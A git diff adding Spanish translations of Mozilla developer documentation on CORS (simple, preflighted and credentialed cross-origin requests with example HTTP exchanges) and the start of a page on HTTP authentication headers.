+<div class="note"><strong>Nota:</strong> Estos son los mismos tipos de solicitud de sitios cruzados que un contenido web ya puede emitir, y ninguna respuesta de datos es liberada a menos que el servidor envíe la cabecera apropiada. Por lo tanto, los sitios que prevengan solicitudes falsas de sitios cruzados no tienen nada nuevo que temer sobre el control de acceso HTTP.</div>
+
+<p>Por ejemplo, suponga que el contenido web en el dominio <code class="plain">http://foo.example</code> desea invocar contenido en el dominio <code class="plain">http://bar.other</code>. Código de este tipo puede ser utilizado dentro de JavaScript desplegado en foo.example:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+</pre>
+
+<p>Dejándonos ver lo que el explorador enviará al servidor en este caso, y veamos como responde el servidor:</p>
+
+<pre class="brush: shell notranslate">GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+</pre>
+
+<p>Las líneas 1 - 10 son las cabeceras enviadas por Firefox 3.5.  Observe que la cabecera de solicitud HTTP principal aquí es la cabecera <code>Origin:</code>  en la línea 10 de arriba, lo que muestra que la invocación proviene del contenido en el dominio <code class="plain">http://foo.example</code>.</p>
+
+<p>Las líneas 13 - 22  muestran la respuesta HTTP del servidor en el dominio <code class="plain">http://bar.other</code>.  En respuesta, el servidor envía de vuelta una cabecera <code>Access-Control-Allow-Origin:</code>, mostrado arriba en la línea 16.  El uso de la cabecera <code>Origin:</code> y <code>Access-Control-Allow-Origin:</code> muestran el protocolo de control de acceso en su uso más simple.  En este caso, el servidor responde con un <code>Access-Control-Allow-Origin: *</code> lo que significa que el recurso puede ser accedido por <strong>cualquier</strong> dominio en una forma de sitio cruzado. Si el dueño del recurso en <code class="plain">http://bar.other</code> deseara restringir el acceso al recurso solamente para <code class="plain">http://foo.example</code>, debería devolver lo siguiente:</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
+
+<p>Note que ahora, ningún otro dominio aparte de <code class="plain">http://foo.example</code> (identificado por la cabecera ORIGIN: en la solicitud, como en la línea 10 arriba) puede acceder al recurso en una forma de sitio cruzado. La cabecera Access-Control-Allow-Origin debe contener el valor que fue enviado en la solicitud del encabezado <code>Origin.</code></p>
+
+<h3 id="Solicitudes_Verificadas">Solicitudes Verificadas</h3>
+
+<p>A diferencia de las solicitudes simples (discutidas arriba), las solicitudes "verificadas" envían primero una solicitud HTTP por el método <code>OPTIONS</code> al recurso en el otro dominio, para determinar si es seguro enviar la verdadera solicitud. Las solicitudes de sitios cruzados son verificadas así ya que pueden tener implicaciones en la información de usuario.  En particular, una solicitud es verificada sí:</p>
+
+<ul>
+ <li>Usa métodos <strong>distintos</strong> a <code>GET, HEAD</code> <code>o POST</code>.  También, si <code>POST</code> es utilizado para enviar solicitudes de información con Content-Type <strong>distinto</strong> a<code> application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, o <code>text/plain</code>, ej. si la solicitud <code>POST</code> envía una carga XML al servidor utilizando <code>application/xml</code> or <code>text/xml</code>, entonces la solicitud <strong>es</strong> verificada.</li>
+ <li>Se establecen encabezados personalizados (ej. la solicitud usa un encabezado como <code>X-PINGOTHER</code>)</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Empezando en {{Gecko("2.0")}}, las codificaciones de datos <code>text/plain</code>, <code>application/x-www-form-urlencoded</code>, y <code>multipart/form-data</code> pueden ser enviadas en sitios cruzados sin verificación. Anteriormente, solo<code> text/plain</code> podía ser enviado sin verificación.</p>
+</div>
+
+<p>Un ejemplo de este tipo de invocación puede ser:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+</pre>
+
+<p>En el ejemplo de arriba, la línea 3 crea un cuerpo XML para enviar con la solicitud <code>POST</code> en la línea 8.  También, en la línea 9, se establece una cabecera HTTP de solicitud "personalizado" (no estándar <code>X-PINGOTHER: pingpong</code>).  Dichas cabeceras no son parte del protocolo HTTP/1.1, pero son útiles generalmente en aplicaciones web. Dado que la solicitud (<code>POST</code>) usa un Content-Type <code>application/xml</code>, y dado que se establece una cabecera personalizada, la solicitud es verificada.</p>
+
+<p>Veamos este intercambio completo entre un cliente y un servidor:</p>
+
+<pre class="brush: shell notranslate">OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER
+Access-Control-Max-Age: 1728000
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+</pre>
+
+<p>Las líneas 1 - 12 arriba representan la solicitud verificada con los métodos <code>OPTIONS</code>. Firefox 3.1 determina lo que se necesita para enviar esto basándose en los parámetros de la solicitud que los fragmentos de JavaScript que se usaron arriba, para que el servidor pueda responder si es aceptable enviar la solicitud con los parámetros de la solicitud real. OPTIONS es un método HTTP/1.1 que se utiliza para determinar información adicional de los servidores, y es un método <strong>idempotente</strong>, esto significa que no puede ser utilizado para cambiar el recurso. Observe que, junto con la solicitud OPTIONS, se envían otras dos cabeceras de solicitud (líneas 11 y 12 respectivamente):</p>
+
+<pre class="notranslate">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER
+</pre>
+
+<p>La cabecera <code>Access-Control-Request-Method</code> notifica al servidor como parte de una solicitud verificada que cuándo se envíe la solicitud real, esta será enviada con un método de solicitud <code>POST</code>. La cabecera <code>Access-Control-Request-Headers</code> notifica al servidor que cuando la solicitud real sea enviada, será enviada con un encabezado <code>X-PINGOTHER</code> personalizado.  Ahora, el servidor tiene la oportunidad para determinar si desea aceptar la solicitud bajo estas circunstancias.</p>
+
+<p>Las líneas 15 - 27 de arriba corresponden con la respuesta que devuelve el servidor indicando que el método de la petición (POST) y la cabecera <code>X-PINGOTHER</code> son aceptadas. En particular, echemos un vistazo a las líneas 18-21:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER
+Access-Control-Max-Age: 1728000</pre>
+
+<p>El servidor responde con <code>Access-Control-Allow-Methods</code> y dice que <code>POST</code>, <code>GET</code>, y <code>OPTIONS</code> son métodos viables para consultar el recurso en cuestión.  Observe que esta cabecera es similar al <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7">HTTP/1.1 Allow: encabezado de respuesta</a>, pero usado estrictamente dentro del contexto del control de acceso.  El servidor también envía <code>Access-Control-Allow-Headers</code> con un valor de <code>X-PINGOTHER</code>, confirmando que es una cabecera permitida para ser usado en la solicitud real.  Como <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> es una lista separada por comas de cabeceras aceptables.  Finalmente, <code>Access-Control-Max-Age</code> da el valor en segundos de cuánto tarda la respuesta de la solicitud verificada en ser capturada sin enviar otra solicitud verificada. En este caso, 1728000 segundos son 20 días.</p>
+
+<h3 id="Solicitudes_con_credenciales">Solicitudes con credenciales</h3>
+
+<p>La capacidad más interesante expuesta tanto por <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> y Access Control es la habilidad para hacer solicitudes "con credenciales" que estén al tanto de Cookies HTTP e información de Autenticación HTTP.  Por defecto, en las invocaciones <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> de un sitio curzado, los exploradores no enviarán credenciales. Una bandera específica tiene que ser establecida en el objeto <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> cuando este es invocado.</p>
+
+<p>En este ejemplo, el contenido cargado originalmente desde <code class="plain">http://foo.example</code> hace una solicitud GET simple a un recurso en <code class="plain">http://bar.other</code> que establece Cookies. El contenido en foo.example puede contener un JavaScript como este:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</pre>
+
+<p>La línea 7 muestra la bandera en <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> que tiene que ser establecida para poder hacer la invocación con Cookies, es decir, el valor booleano <code>withCredentials</code>.  Por defecto, la invocación es hecha sin Cookies. Dado que esta es una simple solicitud <code>GET</code>, no es verificada, pero el explorador <strong>rechazará </strong>cualquier respuesta que no tiene el encabezado <code>Access-Control-Allow-Credentials: true</code>,y <strong>no</strong> hará disponible la respuesta para invocar contenido web.</p>
+
+<p>A continuación se proporciona una muestra de intercambio entre un cliente y un servidor:</p>
+
+<pre class="brush: shell notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>Pese a que la línea 11 contiene la Cookie destinada para el contenido en <code class="plain">http://bar.other</code>, si bar.other no responde con <code>Access-Control-Allow-Credentials: true</code> (línea 19) la respuesta será ignorada y no puesta a disposición para el contenido web. <strong>Nota Importante:</strong> cuando se responde a una solicitud con credeciales, el servidor <strong>debe</strong><strong> </strong>especificar un dominio, y no puede usar comodines. El ejemplo de arriba fallará si la cabecera fuera un comodín como: <code>Access-Control-Allow-Origin: *</code>.  Dado que <code>Access-Control-Allow-Origin</code> menciona explícitamente <code class="plain">http://foo.example</code>, el contenido de credenciales competente es devuelto al contenido web invocador. Observe que, en la línea 22, se establece una cookie adicional.</p>
+
+<p>Todos estos ejemplos pueden <a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">verse funcionando aquí</a>.  La siguiente sección se refiere a las verdaderas cabeceras HTTP.</p>
+
+<h2 id="Las_cabeceras_HTTP_de_respuesta">Las cabeceras HTTP de respuesta</h2>
+
+<p>Esta sección lista las cabeceras HTTP de respuesta que los servidores envían de vuelta para las solicitudes de acceso de control definidas por la especificación del Intercambio de Recursos de Origen Cruzado. La sección anterior da un resumen de estos en acción.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>Un recurso devuelto puede tener una cabecera <code>Access-Control-Allow-Origin</code>, con la siguiente sintaxis:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p>El parámetro <code>origin</code> específica una URI que puede tener acceso al recurso.  El explorador debe asegurar esto. Para solicitudes <strong>sin</strong> credenciales, el servidor debe especificar "*" como un comodín permitiendo, de este modo, el acceso al recurso a cualquier origen.</p>
+
+<p>Por ejemplo, para permitir a <span class="nowiki">http://mozilla.com</span> acceder al recurso, usted puede especificar:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: <span class="plain">http://mozilla.com</span></pre>
+
+<p>Si el servidor especifica un host de origen en vez de "*", entonces se debe incluir <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">Origin</span><span style="line-height: 1.5;"> en el encabezado de respuesta </span><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">Vary </span><span style="line-height: 1.5;">para indicar a los clientes que las respuestas del servidor difieren basándose en el valor del encabezado de respuesta</span><span style="line-height: 1.5;"> </span><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">Origin.</span></p>
+
+<p>{{ h3_gecko_minversion("Access-Control-Expose-Headers", "2.0") }}</p>
+
+<p>Esta cabecera permite una <em>whitelist</em> de cabeceras del servidor que los exploradores tienen permitido acceder. Por ejemplo:</p>
+
+<pre class="notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+</pre>
+
+<p>Esto permite a las cabeceras <code>X-My-Custom-Header</code> y<code> X-Another-Custom-Header</code> ser expuestos al explorador.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>Esta cabecera indica durante cuánto tiempo los resultados de la solicitud verificada pueden ser capturados. Para un ejemplo de solicitudes verificadas, vea los ejemplos de arriba.</p>
+
+<pre class="notranslate">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<p>El parámetro <code>delta-seconds</code> indica el número de segundos en que los resultados pueden ser capturados.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>Indica si la respuesta puede ser expuesta cuando la bandera <code>credentials</code> es verdadera. Cuando se usa como parte de una respuesta para una solicitud verficada, este indica si la solicitud verdadera puede realizarse usando credenciales. Note que las solicitudes <code>GET</code> simples no son verificadas, y por lo que si una solicitud es hecha para un recurso con credenciales, si la cabecera no es devuelta con el recurso, la respuesta es ignorada por el explorador y no devuelta al contenido web.</p>
+
+<pre class="notranslate">Access-Control-Allow-Credentials: true | false
+</pre>
+
+<p><a class="internal" href="/En/HTTP_access_control#Requests_with_credentials" title="En/HTTP access control#Requests with credentials">Las Solicitudes con credenciales</a> son discutidas arriba.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>Específica el método o los métodos permitidos cuando se asigna un recurso. Es usado en respuesta a la solicitud verificada. Las condiciones sobre cuándo una solicitud es verificada se discuten arriba.</p>
+
+<pre class="notranslate">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
+</pre>
+
+<p>Un ejemplo de una <a class="internal" href="#Preflighted_requests" title="#Preflight Request">solicitud verificada se muestra arriba</a>, incluyendo un ejemplo donde se envía este encabezado al explorador.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p>Usado en respuesta a una <a class="internal" href="#Preflighted_requests" title="#Preflighted Request">solicitud verificada</a> para indicar qué encabezado HTTP puede ser usado cuando se realiza la solicitud real.</p>
+
+<pre class="notranslate">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<h2 id="Los_encabezados_HTTP_de_solicitud">Los encabezados HTTP de solicitud</h2>
+
+<p>Esta sección lista las cabeceras que los clietnes deben utilizar cuando realizan solicitudes HTTP para usar la característica de intercambio de origen cruzado. Note que estas cabeceras son establecidas cuando se realizan realizan invocaciones a los servidores. Los desarrolladores usan la capacidad de sitios cruzados <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> para no tener que establecer ninguna solicitud de intercambio de origen cruzado programada.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>Indica el origen de las solicitudes de acceso a sitios cruzados o solicitudes verificadas.</p>
+
+<pre class="notranslate">Origin: &lt;origin&gt;
+</pre>
+
+<p>El origen es una URI indicando al servidor dónde se ha iniciado la solicitud. Este no incluye ninguna información de recorrido, sólo el nombre del servidor. </p>
+
+<div class="note"><strong>Nota:</strong> El <code>origin</code> puede ser un string vacío; esto es útil, por ejemplo, si el recurso es un <code>data</code> URL.</div>
+
+<p>Observe que en cualquier solicitud de acceso de control, la cabecera <code>ORIGIN</code> <strong>siempre </strong>se envía.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>Se usa cuando se emite una solicitud verificada, para indicarle al servidor qué método HTTP será usado cuando se haga la solicitud real.</p>
+
+<pre class="notranslate">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<p>Ejemplos de esta utilización pueden ser encontrados <a class="internal" href="#Preflighted_requests" title="Preflighted requests">arriba.</a></p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>Usada cuando se emite una solicitud verificada para indicarle al servidor qué cabecera HTTP será usada cuando se haga la solicitud real.</p>
+
+<pre class="notranslate">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<p>Ejemplos de esta utilización pueden ser encontrados <a class="internal" href="/En/HTTP_access_control#Preflighted_requests" title="En/HTTP access control#Preflighted requests">arriba</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Nueva definición; tiene como objetivo suplantar la especificación CORS.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CORS')}}</td>
+   <td>{{Spec2('CORS')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Exploradores">Compatibilidad con Exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8 (a través de XDomainRequest)<br>
+    10</td>
+   <td>12</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>2.1</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>12</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h4 id="Nota">Nota</h4>
+
+<p>Internet Explorer 8 y 9 exponen CORS a través del objeto XDomainRequest, pero tienen una implementación completa en IE 10. Mientras que Firefox 3.5 introduce el soporte para XMLHttpRequests y Web Fonts para sitios cruzados, algunas solicitudes fueron limitadas hasta versiones posteriores. Especificamente, Firefox 7 introduce la habilidad para solicitudes HTTP de sitios cruzados para Texturas WebGL, y Firefox 9 añade soporte para imágenes dibujadas en patrones utilizando drawImage.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">Muestras de Código mostrando <code>XMLHttpRequest</code> e Intercambio de Recursos de Origen Cruzado</a></li>
+ <li><a class="external" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Server-Side_Access_Control" title="https://developer.mozilla.org/en-US/docs/Web/HTTP/Server-Side_Access_Control">Intercambio de Recursos de Origen Cruzado desde una perspectiva de Servidor (PHP, etc.)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">Especificación del Intercambio de Recursos de Origen Cruzado</a></li>
+ <li><a class="internal" href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a class="external" href="http://crypto.stanford.edu/websec/specs/origin-header/" title="http://crypto.stanford.edu/websec/specs/origin-header/">Discusión adicional sobre el encabezado Origin</a></li>
+ <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx" title="http://www.kendoui.com/blogs/teamblog/posts/11-10-04/using_cors_with_all_modern_browsers.aspx">Usando CORS con todos los exploradores (modernos).</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/cors/" title="http://www.html5rocks.com/en/tutorials/cors/">Usando CORS - HTML5 Rocks</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/HTTP_access_control" } ) }}</p>
diff --git a/files/es/web/http/authentication/index.html b/files/es/web/http/authentication/index.html
new file mode 100644
index 0000000000..df54bfa2c4
--- /dev/null
+++ b/files/es/web/http/authentication/index.html
@@ -0,0 +1,119 @@
+---
+title: Autenticación HTTP
+slug: Web/HTTP/Authentication
+tags:
+  - Acceso de control
+  - Autenticación
+  - Guía
+  - HTTP
+  - HTTP Basic
+translation_of: Web/HTTP/Authentication
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP nos brinda un marco general para el control de acceso y de autenticación. El esquema de autenticación HTTP más común es la autenticación "Basic". Esta página presenta el framework general de autenticación HTTP y muestra cómo restringir el acceso a tu servidor con la autenticación HTTP <em>Basic</em>.</p>
+
+<h2 id="El_marco_general_de_autenticación_HTTP">El marco general de autenticación HTTP</h2>
+
+<p>{{RFC("7235")}} define el marco de autenticación HTTP que puede ser usado por un servidor para revisar la solicitud de un cliente y por un cliente para proveer información de autenticación. El flujo de la revisión y la respuesta funciona de la siguiente manera: El servidor responde al cliente con un estado de respuesta {{HTTPStatus("401")}} (Unauthorized) y devuelve al cliente información sobre cómo autorizarse con un encabezado de respuesta {{HTTPHeader("WWW-Authenticate")}} que contiene al menos una revisión. Un cliente que quiera autenticarse con un servidor puede hacerlo incluyendo un encabezado de solicitud {{HTTPHeader("Authorization")}}  con sus credenciales. Normalmente un cliente hará una solicitud de contraseña al usuario y luego enviará la solicitud incluyendo el encabezado <code>Authorization</code> correcto al servidor.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>En el caso de una autenticación "Basic" como la mostrada en la figura, el intercambio se <strong>debe</strong> realizar sobre una conexión HTTPS (TLS) para que sea seguro.</p>
+
+<h3 id="Autenticación_Proxy_Proxy_Authentication">Autenticación Proxy (Proxy Authentication)</h3>
+
+<p>El mismo mecanismo de desafío y respuesta puede ser usada para <em>autenticación por proxy. </em>En este caso, es el proxy el que hace de intermediario y requiere la autenticación. Ambas autenticaciones (autenticación del recurso y autenticación en el proxy) pueden coexistir juntas, pero entonces es necesario un conjunto de cabeceras y códigos de estado diferentes. En el caso de los proxys, el código de estado para requerir autenticación es {{HTTPStatus("407")}}  (Proxy Authentication Required), la cabecera de respuesta {{HTTPHeader("Proxy-Authenticate")}} contiene al menos un requerimiento aplicable en el proxy, y la cabecera de petición {{HTTPHeader("Proxy-Authorization")}} es usada para proveer la credencial en el servidor proxy.</p>
+
+<h3 id="Prohibición_de_Acceso_Access_Forbbiden">Prohibición de Acceso (Access Forbbiden)</h3>
+
+<p>Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a un determinado recurso, el servidor respondera con el código de estado {{HTTPStatus("403")}} <code>Forbidden.</code>Diferente al código de estado {{HTTPStatus("401")}} <code>Unauthorized</code> o {{HTTPStatus("407")}} <code>Proxy Authentication Required, </code>donde la autenticación es imposible para ese usuario.</p>
+
+<h3 id="Cabeceras_WWW-Authenticate_y_Proxy-Authenticate">Cabeceras <code>WWW-Authenticate</code> y <code>Proxy-Authenticate</code> </h3>
+
+<p>Las cabeceras de respuesta {{HTTPHeader("WWW-Authenticate")}} y {{HTTPHeader("Proxy-Authenticate")}} definen el método de autenticación que debe ser usado para obtener acceso a un recurso. Ellas especifican que esquema de autenticación debe ser usado para que el cliente que quiera autenticarse sepa como hacerlo. La síntaxis para estas cabeceras es la siguiente:</p>
+
+<pre>WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>En el ejemplo, <code>&lt;type&gt; </code>es el esquema de autenticación ("Basic" es el esquema de autenticación mas usado e introducido en <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">esta página mas abajo</a>)<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">. </span></font>La palabra <em>realm</em> es usada para describir el área que protegida o para indicar el alance de la protección. Puede ser un mensaje como "Access to the staging site" o algo similar, pero que sea explicativo para que el usuario sepa que espacio intenta acceder.</p>
+
+
+
+<h3 id="Cabeceras_Authorization_y_Proxy-Authorization"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333;">Cabeceras </span></font>Authorization</code> y <code>Proxy-Authorization</code></h3>
+
+<p>La cabecera de consulta {{HTTPHeader("Authorization")}} y {{HTTPHeader("Proxy-Authorization")}} contiene las credenciales para autenticar a un user agent con un servidor (proxy). Aquí, el tipo es necesario necesario siguiendo las credenciales que pueden estar codificadas o encriptadas dependiendo de que tipo de esquema de autenticación se esté usando:</p>
+
+<pre>Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Esquemas_de_autenticación">Esquemas de autenticación</h3>
+
+<p>El marco general de autenticación HTTP es usado por varios esquemas de autenticación. Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en software de clientes o servidores.</p>
+
+<p>El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle abajo. IANA mantiene una <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de esquemas de autenticación</a>, pero existen otros esquemas ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de autenticación incluídas:</p>
+
+<ul>
